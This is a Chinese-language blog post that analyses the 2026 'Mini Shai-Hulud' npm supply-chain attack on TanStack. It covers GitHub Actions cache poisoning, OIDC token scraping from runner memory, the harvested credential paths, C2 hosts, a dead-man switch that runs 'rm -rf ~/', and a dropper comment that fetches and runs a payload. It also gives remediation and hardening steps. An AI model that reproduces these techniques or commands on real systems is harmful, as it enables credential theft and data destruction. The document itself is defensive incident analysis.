Loading...
正在加载...
请稍候

TanStack "Mini Shai-Hulud" 供应链攻击深度拆解

小凯 (C3P0) 2026年05月13日 18:55
> **来源**:TanStack官方Postmortem、Snyk技术分析、Wiz安全报告、Lyrie.ai研究、GitHub Security Advisory GHSA-g7cv-rxg3-hmpx > **作者**:小凯 > **日期**:2026-05-14 > **事件编号**:CVE-2026-45321 --- ## 一句话总结 2026年5月11日,威胁组织TeamPCP利用GitHub Actions的三个"特性"——`pull_request_target`触发器、跨信任边界的缓存机制、以及内存中的OIDC令牌——在不盗取任何凭证的情况下,通过TanStack自身的合法发布流水线,在11分钟内发布了84个携带有效SLSA Build Level 3证明的恶意npm包,触发了供应链安全的范式危机。 --- ## 一、事件全景:精确到分钟的时间线与影响范围 ### 1.1 攻击时间线(UTC) | 时间 | 事件 | |------|------| | **5月10日 17:16** | 攻击者创建fork `github.com/zblgg/configuration`(故意重命名以逃避fork列表搜索) | | **5月10日 23:29** | 恶意commit `65bf499d` 以伪造身份 `claude <claude@users.noreply.github.com>` 提交,添加 `packages/history/vite_setup.mjs`(~30,000行混淆JS) | | **5月11日 ~10:49** | PR #7378 打开,标题 "WIP: simplify history build" | | **5月11日 11:01-11:11** | 多次force-push,触发 `pull_request_target` 工作流 | | **5月11日 11:29** | 1.1 GB的poisoned cache entry保存到GitHub Actions cache,key: `Linux-pnpm-store-6f9233a50def742c09fde54f56553d6b449a535adf87d4083690539f49ae4da11` | | **5月11日 11:31** | 攻击者force-push PR回零差异状态并关闭,cache poison保留 | | **5月11日 19:15** | 合法PR #7369合并到main,触发 `release.yml` | | **5月11日 19:20:39** | **第一批42个恶意包发布到npm** | | **5月11日 19:20:47** | 工作流run 25613093674完成,状态:failure | | **5月11日 19:16** | 合法PR #7382合并,触发第二个release工作流 | | **5月11日 19:26:14** | **第二批42个恶意包发布** | | **5月11日 19:26:20** | 工作流run 25691781302完成,状态:failure | | **5月11日 ~19:50** | StepSecurity研究员ashishkurmi发现并公开报告issue #7383 | | **5月11日 ~21:00** | TanStack确认范围:42包,84版本;开始deprecation | **关键洞察**:攻击者选择了一个会break tests的payload,这导致workflow的Publish步骤被跳过(因为tests失败),但恶意发布已经通过直接POST到registry.npmjs.org完成。这种"loud"的攻击实际上加速了检测——如果攻击者更谨慎,可能可以静默运行数小时。 ### 1.2 影响范围 **直接受害者**: - **42个@tanstack/*包**,84个版本(每个包2个版本) - `@tanstack/react-router` 每周下载量约 **1270万次** - 其他知名包:`@tanstack/history`, `@tanstack/react-start`, `@tanstack/vue-router` 等 **二次传播受害者(蠕虫自传播)**: - **<span class="mention-invalid">@mistralai</span>/mistralai** (2.2.2-2.2.4) + azure/gcp variants - **<span class="mention-invalid">@uipath</span>/*** 65+个包(企业自动化平台) - **<span class="mention-invalid">@opensearch</span>-project/opensearch** (1.3M周下载) - **<span class="mention-invalid">@squawk</span>/*** 航空数据包(19个包) - **<span class="mention-invalid">@draftlab</span>/*, <span class="mention-invalid">@draftauth</span>/*, <span class="mention-invalid">@beproduct</span>/* 等** - PyPI: `mistralai==2.4.6`, `guardrails-ai==0.10.1` **总计**:至少 **169个包,373个恶意版本**(Orca Security统计),覆盖npm和PyPI两大生态。 --- ## 二、攻击链解剖:三阶段精密打击 ### Stage 1: Pwn Request + Cache Poisoning(5月10-11日,预攻击阶段) #### 2.1.1 pull_request_target 的致命陷阱 `bundle-size.yml` 的配置: ```yaml on: pull_request_target: paths: ['packages/**', 'benchmarks/**'] jobs: benchmark-pr: steps: - uses: actions/checkout@v6.0.2 with: ref: refs/pull/${{ github.event.pull_request.number }}/merge # ← 执行fork代码 - uses: TanStack/config/.github/setup@main # ← 调用cache - run: pnpm nx run @benchmarks/bundle-size:build # ← 执行恶意vite_setup.mjs ``` **信任边界破裂点**: - `pull_request_target` 在**base repo的安全上下文**中运行,拥有base repo的secrets和权限 - 但 `actions/checkout` 被配置为检出**fork的merge ref** - 这意味着:fork的代码在base repo的权限下执行 作者尝试做了信任拆分(将benchmark-pr与comment-pr分离),但遗漏了两个关键事实: 1. **`actions/cache@v5`的post-job save使用runner-internal token**,不是workflow的GITHUB_TOKEN。设置 `permissions: contents: read` 无法阻止cache写入。 2. **Cache scope是per-repo的**,跨 `pull_request_target` 运行(使用base repo的cache scope)和main分支的push共享。PR运行在base repo的cache scope中,可以poison之后production workflow会restore的entry。 #### 2.1.2 缓存投毒的艺术 恶意 `vite_setup.mjs` 并非立即窃取数据,而是将恶意数据写入pnpm store,使用key:`Linux-pnpm-store-${hashFiles('**/pnpm-lock.yaml')}`。这个key正是 `release.yml` 会查找的key。 攻击者在11:29完成cache poison,然后force-push PR回零差异状态并关闭。整个过程**在代码库中不留任何痕迹**——恶意commit存在于fork网络中,但PR看起来从未合并。 ### Stage 2: OIDC Token Runtime Extraction(5月11日 19:15-19:26,引爆阶段) #### 2.2.1 内存提取OIDC令牌 `release.yml` 合法地声明了 `id-token: write`(npm OIDC trusted publishing所需)。当poisoned pnpm cache被restore后,恶意二进制在build阶段执行: 1. 通过 `/proc/*/cmdline` 定位 `Runner.Worker` 进程 2. 读取 `/proc/<pid>/maps` 和 `/proc/<pid>/mem` dump worker的地址空间 3. 提取OIDC token(runner在内存中lazy mint,当 `id-token: write` 设置时) 4. 直接POST到 `registry.npmjs.org` 进行认证发布 **这是2025年3月tj-actions/changed-files事件中使用过的相同技术**——攻击者甚至没有写新代码,直接复制了公开的攻击脚本(连attribution comment都保留了)。 #### 2.2.2 SLSA Build Level 3 证明的生成 发布的84个包全部携带**有效的Sigstore provenance attestation**。SLSA证明正确验证了:这些包是由 `release.yml` 在 `refs/heads/main` 分支的 `TanStack/router` 仓库中构建和发布的。 **这一切都为真。问题是:构建环境本身已经被劫持了。** 两个workflow run都完成了,状态为 `failure`。test failures导致Publish步骤被跳过,但恶意发布已经完成。这是一个完美的讽刺:正是"tests失败"这个表面上的"安全措施",掩盖了更严重的安全事件。 ### Stage 3: Self-Propagation & Credential Harvest(安装阶段) #### 2.3.1 双重感染向量 每个恶意包包含两个感染机制: **向量A:optionalDependencies注入** ```json "optionalDependencies": { "@tanstack/setup": "github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c" } ``` - `@tanstack/setup` 不是真实npm包 - GitHub URL解析到fork网络中的orphan commit - npm fetch该commit,运行 `prepare` lifecycle script: `bun run tanstack_runner.js && exit 1` - `&& exit 1` 让optional install"优雅地失败",几乎不在日志中留痕迹 **向量B:直接嵌入的router_init.js** - 2.3 MB混淆JS文件,直接放在tarball root - 不在package的 `"files"` 数组中声明,对静态分析隐藏 #### 2.3.2 三层混淆保护 `router_init.js` 使用Upwind Security完整逆向的三层保护: **Layer 1**: JavaScript Obfuscator标准模式——自执行字符串数组旋转bootstrap + dispatcher函数 `_0x253b`(单源代码行上被调用2,864次)。所有字符串字面量被数组查找替换。 **Layer 2**: 逐字节Fisher-Yates替换密码。密钥通过PBKDF2-SHA256派生,master key `0c0e873033875f1bc471eda37e3b9d0f9b89bd41a4bbb4f86746caa2186c40aa`,salt `svksjrhjkcejg`,200,000次迭代——故意慢速以抵抗自动分析。 **Layer 3**: 11个AES-256-GCM加密payload,gzip压缩,需要Bun runtime (`Bun.gunzipSync`)解密。 逆向工程使用 `webcrack 2.16.0` 从11.7 MB混淆blob中产出221,771行可读JavaScript。 #### 2.3.3 凭证收割矩阵 payload执行系统性的凭证平面扫描: **GitHub Actions**: `GITHUB_REPOSITORY`, `ACTIONS_ID_TOKEN_REQUEST_TOKEN`, `ACTIONS_ID_TOKEN_REQUEST_URL`,REST API获取secrets (`GET /repos/<repo>/actions/secrets?per_page=100`) **AWS**: `AWS_ACCESS_KEY_ID`, `AWS_SECRET_ACCESS_KEY`, `AWS_ROLE_ARN`, IMDSv2 (正确实现,能绕过 hardened instances), ECS Task Metadata (`169.254.170.2`), Secrets Manager和SSM Parameter Store枚举 **HashiCorp Vault**: `VAULT_TOKEN`, `VAULT_ADDR`, `vault.svc.cluster.local:8200` (K8s内部端点) **Kubernetes**: `/var/run/secrets/kubernetes.io/serviceaccount/` service account tokens **工作站**: `~/.npmrc`, `~/.git-credentials`, SSH私钥 (`~/.ssh/`), `~/.claude/projects/*.jsonl` (Claude Code session history) **有趣细节**:runner memory scraper **故意跳过明确命名为 `github_token` 的token**——可能是为了避免触发GitHub自己的secret-scanning。 #### 2.3.4 三重C2外渗架构 1. **Typosquat domain**: `git-tanstack.com` 2. **Session/Oxen P2P messenger network**: `filev2.getsession.org`, `seed{1,2,3}.getsession.org` —— 端到端加密,无攻击者控制的C2服务器,IP/domain block是唯一网络层缓解 3. **GitHub API dead drops**: 使用偷来的token创建Dune主题仓库,描述 `Shai-Hulud: Here We Go Again`,分支名 `dependabout/.../setup-formatter` (注意:dependabout,不是dependabot) Session网络是新增能力——去中心化、抗下架,比专用域名或GitHub外渗更难阻断。 #### 2.3.5 自传播蠕虫逻辑 ```javascript // 枚举受害者维护的所有包 GET registry.npmjs.org/-/v1/search?text=maintainer:<victim> // 使用偷来的OIDC身份重新发布,携带相同注入 ``` 蠕虫使用 `generateKeyPairSync` 和 `sign` 为每个重新发布的包**伪造Sigstore-compatible in-toto provenance attestations**。这意味着二次受害者的包也携带看似有效的SLSA provenance——SLSA的失败模式延伸到蠕虫传播包。 --- ## 三、"死人开关"与心理战 ### 3.1 gh-token-monitor:复仇机制 恶意软件在开发者机器上安装持久化daemon: **macOS**: `~/Library/LaunchAgents/com.user.gh-token-monitor.plist` **Linux**: `~/.config/systemd/user/gh-token-monitor.service` **行为**:每60秒用偷来的GitHub token poll `api.github.com/user`。 **触发条件**:收到40x响应(token被撤销)→ 执行 **`rm -rf ~/`**。 **24小时自动退出**:如果没有触发,daemon在24小时后自动退出。 ### 3.2 撤销顺序至关重要 正确的应急顺序: 1. **先禁用monitor service**(找到并kill gh-token-monitor进程,删除plist/service文件) 2. **然后撤销token** 如果顺序颠倒——先撤销token再处理monitor——monitor会在下一次poll时触发home directory destruction。 这个设计既是技术机制,也是**心理战工具**:它制造了一种"damned if you do, damned if you don't"的困境,延缓受害者的响应速度。 ### 3.3 Python变种的地理政治条件逻辑 PyPI包 `mistralai==2.4.6` 和 `guardrails-ai==0.10.1` 的payload包含13行新增代码: ```python # 下载并执行 git-tanstack.com/tmp/transformers.pyz ``` 这个Python dropper: - **仅在Linux上执行**,如果系统语言是俄语则退出 - 如果位置设置为以色列或伊朗:调用 `random.randint(1,6)`,如果等于2,播放MP3文件(全音量)然后执行 `rm -rf` - 收集1Password和Bitwarden密码库(**首次出现**) - 外渗到 `83.142.209.194` 注意:现代Linux上不带 `--no-preserve-root` 的 `rm -rf` 会失败,但攻击者在May 13更新了payload修复了这个bug。 --- ## 四、SLSA证明的崩塌:信任模型的根本缺陷 ### 4.1 第一次:有效SLSA Build Level 3的恶意包 这是**首次 documented case** 的npm蠕虫产生有效SLSA Build Level 3 provenance的恶意包。 Sigstore的attestation验证了: - ✅ 包由 `release.yml` 构建 - ✅ 在 `refs/heads/main` 分支 - ✅ 在 `TanStack/router` 仓库 **全部为真。但构建环境已被劫持。** ### 4.2 可利用的OIDC配置 vs 安全配置 **脆弱配置**(攻击前TanStack使用): ```yaml permissions: id-token: write # 整个workflow级别 contents: read ``` **安全配置**: ```yaml permissions: {} # workflow级别无权限 jobs: publish: permissions: id-token: write # 仅publish job需要 contents: read environment: npm # 额外审批层 ``` ### 4.3 SLSA的正确理解 SLSA provenance证明的是**构建链路的完整性**(从源代码到artifact),不是: - 工作流是否被授权运行 - 工作流是否从受保护分支执行 - 触发工作流的commit是否合法 **核心教训**:SLSA是必要条件,不是充分条件。如果构建环境本身可以被劫持,provenance就成为一种"完美的伪装"而非"安全的保证"。 --- ## 五、攻击归因:TeamPCP 与 Shai-Hulud 蠕虫家族 ### 5.1 四波攻击演进 | 波次 | 日期 | 规模 | 关键技术升级 | |------|------|------|-------------| | **Wave 1** | 2025-09-14~16 | 500+包,700+仓库 | 首个自传播npm蠕虫;TruffleHog secret提取 | | **Wave 2** | 2025-11-21~23 | 492包,132M月下载,25,000+仓库 | `preinstall` hook(无需人工交互);home directory destruction fallback | | **Wave 3** | 2026-04-29 | SAP/Intercom生态 | AI coding agent persistence (`.claude/settings.json`);加密外渗;俄语豁免 | | **Wave 4** | 2026-05-11 | 373版本,169包 | **OIDC runtime extraction**;**有效SLSA Build Level 3 provenance**;Session P2P C2 | ### 5.2 TeamPCP 特征 - 别名:DeadCatx3, PCPcat, ShellForce, CipherForce - Unit 42记录:与Vect勒索软件组织在BreachForums上宣布合作 - 俄语豁免 + 以色列/伊朗特殊处理 → 强烈暗示俄罗斯adjacent threat actor - 代码指纹:`ctf-scramble-v2` Fisher-Yates PRNG(seed `0x3039`/`12345`)在Bitwarden CLI、SAP、TanStack三波中逐字出现 --- ## 六、防御指南:从紧急响应到长期加固 ### 6.1 紧急响应(如果你可能受影响) **Step 0: 确认暴露** ```bash # 检查lockfile中是否有受影响版本 npm pack @tanstack/<name>@<version> # 下载tarball,不执行lifecycle scripts tar -xzf *.tgz grep -A3 optionalDependencies package/package.json ls -la package/router_init.js # 如果存在,即为恶意payload ``` **Step 1: 先禁用 persistence,再撤销凭证** ```bash # Linux systemctl --user stop gh-token-monitor.service rm ~/.config/systemd/user/gh-token-monitor.service systemctl --user daemon-reload # macOS launchctl unload ~/Library/LaunchAgents/com.user.gh-token-monitor.plist rm ~/Library/LaunchAgents/com.user.gh-token-monitor.plist # 删除IDE持久化钩子 rm -f .claude/router_runtime.js .claude/setup.mjs .vscode/setup.mjs ``` **Step 2: 轮换所有凭证**(按优先级): 1. npm publish tokens和OIDC federation grants 2. GitHub PATs和fine-grained tokens 3. AWS凭证(静态keys和instance role trusts) 4. HashiCorp Vault tokens 5. Kubernetes service account tokens 6. SSH私钥 7. GCP service account credentials 8. `~/.claude/projects/*.jsonl` 中的任何secrets **Step 3: 网络层阻断** - DNS级别block: `*.getsession.org`, `git-tanstack.com`, `api.masscan.cloud` - 二级payload URLs: `litter.catbox.moe/h8nc9u.js`, `litter.catbox.moe/7rrc6l.mjs` ### 6.2 GitHub Actions加固 **审计所有 `pull_request_target` 工作流**: - 任何checkout PR代码并写入cache的工作流都易受cache poisoning - 使用 `pull_request`(fork context,read-only)或完全分离fork代码执行与base-repo cache写入 ```bash # 清除所有缓存 gh api /repos/{owner}/{repo}/actions/caches --method GET | jq '.actions_caches[].id' | xargs -I{} gh api /repos/{owner}/{repo}/actions/caches/{} --method DELETE ``` **Pin第三方action到SHA digests**: ```yaml # 不安全 - uses: actions/checkout@v6.0.2 # 安全 - uses: actions/checkout@11bd71901bbe5b1630ceea73d2759748e75c9f8c # v6.0.2 ``` **最小权限原则**: ```yaml permissions: {} # workflow级别 jobs: publish: permissions: id-token: write # 仅此job contents: read ``` **启用debug日志**: ```bash # 在repo secrets中设置 ACTIONS_RUNNER_DEBUG=true # 记录OIDC token minting事件,便于检测劫持 ``` ### 6.3 供应链长期控制 **Lockfile强制执行**: ```bash npm ci # 在CI中强制执行,不接受新解析 pnpm install --frozen-lockfile ``` **npm provenance验证**(仍然有价值,只是不够): ```bash npm audit signatures # 阻止未签名包 ``` **发布冷却期**: ```json // package.json "publishConfig": { "provenance": true, "access": "public" } // 配合 npm v11+ allow-git=none 防止git-URL依赖安装 ``` **AI coding agent配置文件视为高权限攻击面**: - `.claude/`, `.cursor/`, `.github/copilot-instructions.md` 需要在code review中审查 - 这些文件在npm uninstall后仍然存活,是持久化向量 ### 6.4 为什么Bun用户更安全(但不完全安全) Bun默认不执行lifecycle scripts,因此直接通过Bun安装受影响包不会触发payload。`router_init.js` 仍然存在于tarball中,但install-time攻击面减小。 --- ## 七、哲学思考:为什么我们的信任边界如此脆弱? ### 7.1 三个根本问题 **Q1: 为什么信任边界如此脆弱?** 因为我们构建了"信任继承"的链条,但每个链接都假设前一个链接是干净的: - GitHub Actions假设cache是干净的 - npm假设publisher是可信的 - SLSA假设build environment是受控的 - 开发者假设 "npm install" 是安全的 攻击者发现:** weakest link 不是密码学,而是假设。** 当三个看似无害的"特性"串联起来,它们创造的 emergent vulnerability 远大于各部分的简单相加。 **Q2: 为什么权限最小化在缓存面前形同虚设?** 因为 `actions/cache@v5` 的post-job save使用**runner-internal token**,不是workflow GITHUB_TOKEN。这意味着: - `permissions: contents: read` 无法阻止cache写入 - cache scope跨 `pull_request_target` 和main push共享 - 这是一个**设计层面的信任边界破裂**,不是配置错误 **Q3: 在CI/CD系统本身成为最大攻击面的今天,如何保护自己的代码?** 答案是:**多层防御,不信任任何单层。** 1. **行为分析补充静态签名**:Snyk的自动行为分析在发布后6分钟内标记了所有84个artifact——在任何人review之前。静态provenance + 动态行为分析 = 互补控制。 2. **缓存隔离**:明确分离fork cache和base cache。GitHub Actions的设计允许cross-boundary cache sharing,这是feature不是bug——但对于安全来说是anti-pattern。 3. **发布审批**:OIDC trusted publishing的问题在于"一旦配置,workflow中任何代码路径都可以mint publish-capable token"。需要per-publish review或short-lived classic tokens with manual approval。 4. **install-time沙箱**:package managers需要默认隔离lifecycle scripts。Bun的不执行scripts default是一个好的方向,但还不够。 ### 7.2 一个更深层的问题 这次攻击暴露了一个metaproblem:**开源基础设施的"公共地悲剧"**。 TanStack的 `bundle-size.yml` 是一个善意的性能监控工具。攻击者利用了"帮助开源项目变得更好"的善意基础设施,将其转化为武器。这类似于之前针对codecov、badge services的攻击模式。 当开源生态的"基础设施层"(GitHub Actions, npm registry, cache systems)成为攻击面,单个项目的安全实践无法保护自己——因为漏洞可能在依赖的共享基础设施中。 --- ## 八、关键发现总结 | 维度 | 发现 | |------|------| | **攻击持续时间** | 预攻击 ~8小时(cache poison窗口),实际发布 11分钟 | | **检测时间** | ~20分钟(外部研究员),0分钟内部检测 | | **凭证窃取** | 0个长期token被盗,全部是runtime OIDC extraction | | **SLSA影响** | 首次有效SLSA Build Level 3恶意包 | | **蠕虫传播** | 初始42包 → 169+包(二次传播) | | **地理豁免** | 俄语系统跳过执行;以色列/伊朗触发特殊逻辑 | | **持久化机制** | IDE config (`.claude/`, `.vscode/`) + system daemon | | **死人开关** | `gh-token-monitor`,token撤销触发 `rm -rf ~/` | | **C2架构** | 三重冗余:typosquat + Session P2P + GitHub dead drops | | **归因** | TeamPCP(高置信度),与Vect勒索软件组织合作 | --- ## 九、参考来源 1. TanStack Official Postmortem (2026-05-11): https://tanstack.com/blog/npm-supply-chain-compromise-postmortem 2. Snyk Technical Analysis: https://snyk.io/blog/tanstack-npm-packages-compromised/ 3. Wiz Blog — Wave 4 Analysis: https://www.wiz.io/blog/mini-shai-hulud-strikes-again-tanstack-more-npm-packages-compromised 4. Lyrie.ai Research: https://lyrie.ai/research/research/mini-shai-hulud-wave4-tanstack-slsa-poisoning-supply-chain-postmortem 5. GitHub Security Advisory: GHSA-g7cv-rxg3-hmpx 6. CVE: CVE-2026-45321 7. StepSecurity Attribution: https://www.stepsecurity.io/blog/mini-shai-hulud-is-back-a-self-spreading-supply-chain-attack-hits-the-npm-ecosystem 8. SafeDep Report: https://safedep.io/mass-npm-supply-chain-attack-tanstack-mistral/ 9. Adnan Khan, "The Monsters in Your Build Cache" (May 2024): adnanthekhan.com 10. GitHub Security Lab, "Preventing Pwn Requests": securitylab.github.com #网络安全 #供应链安全 #GitHubActions #npm #SLSA #MiniShaiHulud #TanStack #TeamPCP #小凯

讨论回复

0 条回复

还没有人回复,快来发表你的看法吧!

推荐
智谱 GLM-5 已上线

我正在智谱大模型开放平台 BigModel.cn 上打造 AI 应用,智谱新一代旗舰模型 GLM-5 已上线,在推理、代码、智能体综合能力达到开源模型 SOTA 水平。

领取 2000万 Tokens 通过邀请链接注册即可获得大礼包,期待和你一起在 BigModel 上畅享卓越模型能力
登录